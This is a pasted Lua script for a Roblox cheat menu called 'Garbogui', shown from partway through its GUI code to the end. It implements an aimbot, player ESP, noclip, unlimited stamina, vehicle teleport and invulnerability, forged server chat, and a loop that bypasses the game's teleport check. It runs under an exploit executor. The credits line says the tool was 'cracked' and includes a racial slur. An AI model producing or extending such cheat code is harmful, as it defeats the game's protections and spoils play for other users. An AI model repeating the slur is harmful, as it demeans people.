- child.Position = UDim2.new(0, 5, 0, 5 + 20 * (matchIndex - 1))
- matchIndex = matchIndex + 1
- else
- child.Visible = false
- end
- end
- DropsContainer.CanvasSize = UDim2.new(0, 0, 0, 5 + (matchIndex - 1) * 20)
- end
- end)
- for index, child in pairs(Settings.LootDrops:GetChildren()) do
- local ContentButton = CreateInstance("TextButton", DropsContainer){
- AutoButtonColor = false,
- Name = child.Name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,--BorderColor3 = Color3.new(),
- Position = UDim2.new(0, 5, 0, 5 + 20 * (index - 1)),
- Size = UDim2.new(1, -10, 0, 20),
- Font = "SourceSansLight",
- FontSize = "Size14",
- Text = child.Name,
- TextColor3 = Color3.new()
- }
- ContentButton.MouseButton1Down:connect(function()
- Spawn(child.Name)
- end)
- table.insert(ContainerContents, ContentButton)
- end
- DropsContainer.CanvasSize = UDim2.new(0, 0, 0, 5 + #Settings.LootDrops:GetChildren() * 20)
- end
- end
- CreateInstance("TextLabel", VehicleToolsFrame){
- Name = "VehicleSelection",
- BackgroundTransparency = 1,
- Position = UDim2.new(0.5, -125, 0, 0),
- Size = UDim2.new(0, 250, 0, 30),
- Font = "SourceSansLight",
- FontSize = "Size14",
- Text = [[Select a vehicle in-game by using the arrows supplied.]],
- TextColor3 = Color3.new()
- }
- local SelectedVehicleLabel = CreateInstance("TextLabel", VehicleToolsFrame){
- Name = "SelectedVehicle",
- BackgroundTransparency = 1,
- Position = UDim2.new(0.5, -50, 0, 32),
- Size = UDim2.new(0, 100, 0, 20),
- Font = "SourceSans",
- FontSize = "Size24",
- Text = [=[[none]]=],
- TextColor3 = Color3.new()
- }
- local LeftArrow = CreateInstance("ImageButton", VehicleToolsFrame){
- Name = "SelectionLeft",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 20, 0, 35),
- Size = UDim2.new(0, 15, 0, 15),
- Image = "rbxassetid://247422434"
- }
- local RightArrow = CreateInstance("ImageButton", VehicleToolsFrame){
- Name = "SelectionRight",
- BackgroundTransparency = 1,
- Position = UDim2.new(1, -40, 0, 35),
- Size = UDim2.new(0, 15, 0, 15),
- Image = "rbxassetid://247422430"
- }
- do
- local CurrentIndex = 0
- LeftArrow.MouseButton1Down:connect(function()
- local new_vehicle = GetVehicles()[CurrentIndex - 1]
- if new_vehicle then
- CurrentIndex = CurrentIndex - 1
- Settings.SelectedVehicle = new_vehicle
- else
- CurrentIndex = #GetVehicles()
- new_vehicle = GetVehicles()[CurrentIndex]
- Settings.SelectedVehicle = new_vehicle
- end
- SelectedVehicleLabel.Text = new_vehicle.Name
- end)
- RightArrow.MouseButton1Down:connect(function()
- local new_vehicle = GetVehicles()[CurrentIndex + 1]
- if new_vehicle then
- CurrentIndex = CurrentIndex + 1
- Settings.SelectedVehicle = new_vehicle
- else
- CurrentIndex = 1
- new_vehicle = GetVehicles()[CurrentIndex]
- Settings.SelectedVehicle = new_vehicle
- end
- SelectedVehicleLabel.Text = new_vehicle.Name
- end)
- end
- do -- Vehicles tab
- local function CreateToolFrame(name, position, size)
- return CreateInstance("Frame", VehicleToolsFrame){
- Name = name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BackgroundTransparency = 1,
- Position = position,
- Size = size
- }
- end
- local function CreateToolContents(tool_frame, inputs, invoke_data, click_function)
- local total_size = 0
- local input_instances, invoke_instance = {}
- for index, input_data in pairs(inputs or {}) do
- table.insert(input_instances, ({CreateInstance("TextBox", tool_frame){
- Name = input_data.Name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderColor3 = Color3.new(),
- Position = UDim2.new(input_data.X1 or 0, total_size, input_data.Y1 or 0, input_data.Y2 or 0),
- Size = input_data.Size,
- Font = "SourceSans",
- FontSize = "Size14",
- Text = input_data.Text,
- TextColor3 = Color3.new()
- }})[1])
- total_size = total_size + input_data.Size.X.Offset + 10
- end
- invoke_instance = CreateBorder(CreateInstance("TextButton", tool_frame){
- Name = "Invoke",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, total_size, 0, 0),
- Size = invoke_data.Size,
- Font = invoke_data.Font or "SourceSans",
- FontSize = invoke_data.FontSize or "Size14",
- Text = invoke_data.Text,
- TextColor3 = Color3.new()
- })
- invoke_instance.MouseButton1Down:connect(function()
- if click_function then
- click_function(input_instances)
- end
- end)
- return input_instances, invoke_instance
- end
- local VehicleTeleportFrame = CreateToolFrame("TeleportVehicle", UDim2.new(0, 10, 0, 70), UDim2.new(0.62, -20, 0, 30))
- local RepairUtilitiesFrame = CreateToolFrame("RepairingUtilities", UDim2.new(0, 280, 0, 70), UDim2.new(0.4, -20, 0, 30))
- local VehicleMaxSpeedFrame = CreateToolFrame("MaxVehicleSpeed", UDim2.new(0, 10, 0, 110), UDim2.new(0.62, -20, 0, 30))
- local VehicleGodFrame = CreateToolFrame("GodVehicle", UDim2.new(0, 280, 0, 110), UDim2.new(0.4, -20, 0, 30))
- local OffroadSpeedFrame = CreateToolFrame("OffroadVehicleSpeed", UDim2.new(0, 10, 0, 150), UDim2.new(0.62, -20, 0, 30))
- local VehicleUngodFrame = CreateToolFrame("UnGodVehicle", UDim2.new(0, 280, 0, 150), UDim2.new(0.4, -20, 0, 30))
- local SetHonkingSound = CreateToolFrame("OffroadVehicleSpeed", UDim2.new(0, 10, 0, 190), UDim2.new(0.62, -20, 0, 30))
- CreateToolContents(VehicleTeleportFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[p]"
- }}, {
- Size = UDim2.new(0, 150, 0, 30),
- Text = "Teleport Vehicle to Player"
- }, function(inputs)
- local player = GetPlayers(inputs[1].Text)[1]
- if player and Settings.SelectedVehicle then
- local spawned, torso = PlayerSpawned(player)
- if spawned then
- TeleportVehicle(Settings.SelectedVehicle, torso.CFrame, true)
- else
- return Inform("Player hasn't spawned!")
- end
- end
- end)
- CreateToolContents(RepairUtilitiesFrame, nil, {
- FontSize = "Size12",
- Size = UDim2.new(0, 160, 0, 30),
- Text = "Spawn Vehicle Repairing Utilities"
- }, function(inputs)
- if Settings.SelectedVehicle then
- SpawnRepairingUtilities(Settings.SelectedVehicle.Name)
- end
- end)
- CreateToolContents(VehicleMaxSpeedFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[n]"
- }}, {
- Size = UDim2.new(0, 150, 0, 30),
- Text = "Set Vehicle Maximum Speed"
- }, function(inputs)
- if tonumber(inputs[1].Text) and Settings.SelectedVehicle and Settings.SelectedVehicle:findFirstChild("Stats") then
- local maximum_speed = GetChild(Settings.SelectedVehicle.Stats, "MaxSpeed")
- if maximum_speed then
- --ChangeProperty(maximum_speed, "Value", tonumber(inputs[1].Text))
- maximum_speed.Value = tonumber(inputs[1].Text)
- end
- end
- end)
- CreateToolContents(VehicleGodFrame, nil, {
- Size = UDim2.new(0, 160, 0, 30),
- FontSize = "Size18",
- Text = "God Vehicle"
- }, function(inputs)
- if Settings.SelectedVehicle and GetChild(Settings.SelectedVehicle, "Stats") then
- KillVehicleConnections(Settings.SelectedVehicle)
- Settings.GoddedVehicleConnections[Settings.SelectedVehicle] = {}
- for _, child in pairs(Settings.SelectedVehicle.Stats:GetChildren()) do
- if child.Name ~= "MaxSpeed" and child.Name ~= "storage" then
- local function GodStat()
- child.Value = 99999
- end
- GodStat()
- Settings.GoddedVehicleConnections[Settings.SelectedVehicle][child] = child.Changed:connect(function()
- if child.Value ~= 99999 then
- GodStat()
- end
- end)
- end
- end
- end
- end)
- CreateToolContents(OffroadSpeedFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[n]"
- }}, {
- Size = UDim2.new(0, 150, 0, 30),
- Text = "Set Vehicle Offroad Speed"
- }, function(inputs)
- if tonumber(inputs[1].Text) and Settings.SelectedVehicle and GetChild(Settings.SelectedVehicle, "Stats") then
- local maximum_speed = GetChild(Settings.SelectedVehicle.Stats, "MaxSpeed")
- local offroad_speed;
- if maximum_speed then
- offroad_speed = GetChild(maximum_speed, "Offroad")
- end
- if offroad_speed then
- --ChangeProperty(offroad_speed, "Value", tonumber(inputs[1].Text))
- offroad_speed.Value = tonumber(inputs[1].Text)
- end
- end
- end)
- CreateToolContents(VehicleUngodFrame, nil, {
- Size = UDim2.new(0, 160, 0, 30),
- FontSize = "Size18",
- Text = "UnGod Vehicle"
- }, function(inputs)
- if Settings.SelectedVehicle and GetChild(Settings.SelectedVehicle, "Stats") then
- KillVehicleConnections(Settings.SelectedVehicle)
- wait()
- for _, child in pairs(Settings.SelectedVehicle.Stats:GetChildren()) do
- if child.Name ~= "MaxSpeed" and child.Name ~= "storage" then
- ChangeProperty(child, "Value", child:GetChildren()[1].Value)
- end
- end
- end
- end)
- CreateToolContents(SetHonkingSound, {{
- Name = "Input",
- Size = UDim2.new(0, 100, 0, 30),
- Text = "[audio id]"
- }}, {
- Size = UDim2.new(0, 150, 0, 30),
- Text = "Set Honking Sound ID"
- }, function(inputs)
- if Settings.SelectedVehicle then
- if tonumber(inputs[1].Text) then
- local new_sound = "rbxassetid://" .. tonumber(inputs[1].Text)
- local essentials = GetChild(Settings.SelectedVehicle, "Essentials")
- if essentials then
- local base_essential = GetChild(essentials, "Base")
- if base_essential then
- local horn_sound = GetChild(base_essential, "Horn")
- if horn_sound then
- ChangeProperty(horn_sound, "SoundId", new_sound)
- ChangeProperty(horn_sound, "Pitch", 1)
- ChangeProperty(horn_sound, "Volume", 1)
- else
- Inform("Unable to find vehicle sound instance")
- end
- else
- Inform("Unable to find vehicle base essential")
- end
- end
- else
- Inform("Must be a number!")
- end
- end
- end)
- end
- do -- Misc tab
- local MiscHolderFrame = CreateInstance("Frame", MiscFrame){
- Name = "MainHolder",
- BackgroundTransparency = 1,
- Size = UDim2.new(1, 0, 1, 0)
- }
- local UpdatesHolderFrame = CreateInstance("Frame", MiscFrame){
- Name = "UpdatesHolder",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, -1, 0),
- Size = UDim2.new(1, 0, 1, 0)
- }
- local function CreateToolFrame(name, position, size)
- return CreateInstance("Frame", MiscHolderFrame){
- Name = name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BackgroundTransparency = 1,
- Position = position,
- Size = size
- }
- end
- local function CreateToolContents(tool_frame, inputs, invoke_data, click_function)
- local total_size = 0
- local input_instances, invoke_instance = {}
- for index, input_data in pairs(inputs or {}) do
- table.insert(input_instances, ({CreateInstance("TextBox", tool_frame){
- Name = input_data.Name,
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderColor3 = Color3.new(),
- Position = UDim2.new(input_data.X1 or 0, total_size, input_data.Y1 or 0, input_data.Y2 or 0),
- Size = input_data.Size,
- Font = "SourceSans",
- FontSize = "Size14",
- Text = input_data.Text,
- TextColor3 = Color3.new()
- }})[1])
- total_size = total_size + input_data.Size.X.Offset + 10
- end
- invoke_instance = CreateBorder(CreateInstance("TextButton", tool_frame){
- Name = "Invoke",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, total_size, 0, 0),
- Size = invoke_data.Size,
- Font = invoke_data.Font or "SourceSans",
- FontSize = invoke_data.FontSize or "Size14",
- Text = invoke_data.Text,
- TextColor3 = Color3.new()
- })
- invoke_instance.MouseButton1Down:connect(function()
- if click_function then
- click_function(input_instances)
- end
- end)
- return input_instances, invoke_instance
- end
- do
- local UpdateBackButton = CreateInstance("TextButton", UpdatesHolderFrame){
- Name = "Back",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, 0, 10),
- Size = UDim2.new(0, 80, 0, 20),
- Font = "SourceSans",
- FontSize = "Size18",
- Text = "< Go Back",
- TextColor3 = Color3.new()
- }
- local UpdateText = CreateInstance("TextLabel", UpdatesHolderFrame){
- Name = "MainLabel",
- BackgroundTransparency = 1,
- Position = UDim2.new(0.5, -135, 0, 30),
- Size = UDim2.new(0.6, 0, 0.6, 0),
- Font = "SourceSansLight",
- FontSize = "Size24",
- Text = "update " .. (Settings.Version < 1 and "." .. string.match(tostring(Settings.Version), "%d*%.(%w+)") or Settings.Version) .. " BETA\n\n" .. Settings.UpdateInformation,
- TextColor3 = Color3.new(),
- TextYAlignment = "Top"
- }
- UpdateBackButton.MouseButton1Down:connect(function()
- UpdatesHolderFrame:TweenPosition(UDim2.new(0, 0, -1, 0), "Out", "Sine", 0.8, true, function()
- MiscHolderFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Sine", 0.8, true)
- end)
- end)
- end
- local ESPFrame = CreateToolFrame("ESP", UDim2.new(0, 10, 0, 10), UDim2.new(0.5, -20, 0, 30))
- local NoclipFrame = CreateToolFrame("Noclip", UDim2.new(0.5, 10, 0, 10), UDim2.new(0.5, -20, 0, 30))
- local StaminaFrame = CreateToolFrame("Stamina", UDim2.new(0, 10, 0, 50), UDim2.new(0.5, -20, 0, 30))
- local AimbotFrame = CreateToolFrame("Aimbot", UDim2.new(0.5, 10, 0, 50), UDim2.new(0.5, -20, 0, 30))
- local LatestUpdateFrame = CreateToolFrame("LatestUpdate", UDim2.new(0.5, 10, 0, 90), UDim2.new(0.5, -20, 0, 30))
- local ServerChatFrame = CreateToolFrame("PlayerChat", UDim2.new(0, 10, 0, 170), UDim2.new(1, -20, 0, 30))
- CreateToolContents(ESPFrame, nil, {
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Extra Sensory Perception"
- }, function(inputs)
- Settings.ESP = not Settings.ESP
- Inform("ESP is now %s", Settings.ESP == true and "enabled" or "disabled")
- end)
- CreateToolContents(NoclipFrame, nil, {
- Font = "SourceSansLight",
- FontSize = "Size24",
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Noclip / Reclip"
- }, function(inputs)
- Settings.Noclip = not Settings.Noclip
- Inform("Noclip is now %s", Settings.Noclip == true and "enabled" or "disabled")
- end)
- CreateToolContents(StaminaFrame, nil, {
- Font = "SourceSans",
- FontSize = "Size14",
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Unlimited Stamina / Always Sprint"
- }, function(inputs)
- local PlayerGui = FindFirstClass(Player, "PlayerGui")
- pcall(function() PlayerGui.HitEqualsYouDie.WalkspeedEdit:Destroy() end)
- pcall(function() PlayerGui.HitEqualsYouDie.JumpLimiter:Destroy() end)
- pcall(function() Player.Character.Humanoid.WalkSpeed = 25 end)
- Inform("Unlimited stamina is enabled")
- end)
- CreateToolContents(AimbotFrame, nil, {
- Font = "SourceSansLight",
- FontSize = "Size18",
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Enable / Disable AimBot"
- }, function(inputs)
- Settings.AimBot = not Settings.AimBot
- Inform("Aimbot is now %s", Settings.AimBot == true and "enabled" or "disabled")
- end)
- CreateToolContents(LatestUpdateFrame, nil, {
- Font = "SourceSansLight",
- FontSize = "Size18",
- Size = UDim2.new(1, 0, 0, 30),
- Text = "Latest Script Updates/Patches"
- }, function(inputs)
- MiscHolderFrame:TweenPosition(UDim2.new(0, 0, -1, 0), "Out", "Sine", 0.8, true, function()
- UpdatesHolderFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Sine", 0.8, true)
- end)
- end)
- CreateToolContents(ServerChatFrame, {{
- Name = "Input",
- Size = UDim2.new(0, 150, 0, 30),
- Text = "[player name]"
- }, {
- Name = "Input2",
- Position = UDim2.new(0, 160, 0, 0),
- Size = UDim2.new(0, 150, 0, 30),
- Text = "[message]"
- }}, {
- Font = "SourceSansLight",
- FontSize = "Size18",
- Position = UDim2.new(1, -110, 0, 0),
- Size = UDim2.new(0, 110, 0, 30),
- Text = "Chat to Server"
- }, function(inputs)
- ServerChat(inputs[1].Text, inputs[2].Text)
- end)
- end
- VisabilityToggler.MouseButton1Down:connect(function()
- VisabilityToggler:TweenPosition(UDim2.new(0.5, -60, 0, -90), "Out", "Sine", 0.8, true)
- MainHolder:TweenPosition(UDim2.new(0.5, -225, 0.25, 0), "Out", "Sine", 0.8, true)
- end)
- CloseButton.MouseButton1Down:connect(function()
- VisabilityToggler:TweenPosition(UDim2.new(0.5, -60, 0, 20), "Out", "Sine", 0.8, true)
- MainHolder:TweenPosition(UDim2.new(0.5, -225, 0, -400), "Out", "Sine", 0.8, true)
- end)
- VisabilityToggler:TweenPosition(UDim2.new(0.5, -60, 0, 20), "Out", "Sine", 0.8, true)
- end
- --[[
- Mouse.KeyDown:connect(function(key)
- key = string.byte(string.lower(key))
- if key == 50 then
- Settings.AimBot = true
- end
- end)
- Mouse.KeyUp:connect(function(key)
- key = string.byte(string.lower(key))
- if key == 50 then
- Settings.AimBot = false
- end
- end)
- --]]
- Thread(function()
- RunService.Stepped:connect(function()
- if Settings.Noclip and Player.Character then
- pcall(function() Player.Character.Torso.CanCollide = false end)
- pcall(function() Player.Character.Head.CanCollide = false end)
- end
- end)
- end)
- Thread(function()
- RunService.RenderStepped:connect(function()
- if Settings.AimBot then
- local target = GetNearestPlayerToMouse()
- if target then
- local head = target.Character and GetChild(target.Character, "Head") or nil
- if head then
- GetCamera().CoordinateFrame = CFrame.new(GetCamera().CoordinateFrame.p, head.CFrame.p)
- end
- --target.Name:sub(1, 5)
- else
- --off
- end
- end
- end)
- end)
- do
- local billboard = Instance.new("BillboardGui")
- billboard.Name = "__"
- billboard.AlwaysOnTop = true
- billboard.Enabled = true
- billboard.ExtentsOffset = Vector3.new(0, 3, 0)
- billboard.Size = UDim2.new(1, 0, 1, 0)
- local image = Instance.new("ImageLabel", billboard)
- image.Name = "lol"
- image.BackgroundTransparency = 1
- image.Position = UDim2.new(-0.25, 0, 0, 0)
- image.Size = UDim2.new(1.5, 0, 1.5, 0)
- image.Image = "rbxassetid://136011733"
- Thread(function()
- while wait(0.15) do
- for _, child in pairs(Workspace:GetChildren()) do
- if child:IsA("Model") and Players:GetPlayerFromCharacter(child) and child ~= Player.Character and GetChild(child, "Head") then
- if Settings.ESP and not GetChild(child.Head, "__") then
- local initial = billboard:Clone()
- initial.Parent = child.Head
- end
- if not Settings.ESP and GetChild(child.Head, "__") then
- child.Head.__:Destroy()
- end
- end
- end
- end
- end)
- end
- for _, player in pairs(Players:GetPlayers()) do
- if player ~= Player then
- ConnectPlayer(player)
- end
- end
- Thread(function()
- while RunService.Stepped:wait() do
- if Player.Character and Player.Character.Parent == Workspace and GetChild(Player.Character, "driven") == nil and PlayerSpawned(Player) then
- BypassTeleportCheck(Player)
- end
- local PlayerGui = GetChild(Player, "PlayerGui")
- if PlayerGui then
- local LeaderboardGUI = GetChild(PlayerGui, "MyGroup")
- if LeaderboardGUI then
- for _, child in pairs(LeaderboardGUI:GetChildren()) do
- if child:IsA("TextButton") and string.sub(child.Name, 1, 1) == "M" and child.Text ~= "Player Name" then
- local player = GetPlayers(string.gsub(child.Text, "%s", ""))[1]
- if player and GetChild(player, "_il_oa") then
- local red, green, blue = GetRainbowRGB(tick())
- local color = Color3.new(0.6 * red, 0.6 * green, 0.65 * blue)
- child.TextXAlignment = "Center"
- child.FontSize = "Size12"
- child.Text = "~ " .. (string.match(child.Text, "~ %s ~") or child.Text) .. " ~"
- child.TextColor3 = color
- child.BackgroundColor3 = color
- end
- end
- end
- end
- end
- end
- end)
- if Settings.Game ~= "UNKNOWN" then
- local holder = Workspace.messages
- holder.m1.Changed:connect(function()
- local user, message = string.match(holder.m1.Value, "(.+):%s+(.+)")
- OnChatted(GetPlayers(user)[1], message)
- end)
- end
- Players.PlayerAdded:connect(ConnectPlayer)
- Inform("Welcome to Garbogui")
- wait(0.8)
- Inform("Created by iLordVex!, cracked by kujo, onion and julian nigs")
- wait(1)
- Inform("Game Detected: %s", Settings.Game)
- if getgenv then
- for index, value in pairs(getfenv()) do
- getgenv()[index] = value
- end
- end
- CreateGUI()
Add Comment
Please, Sign In to add comment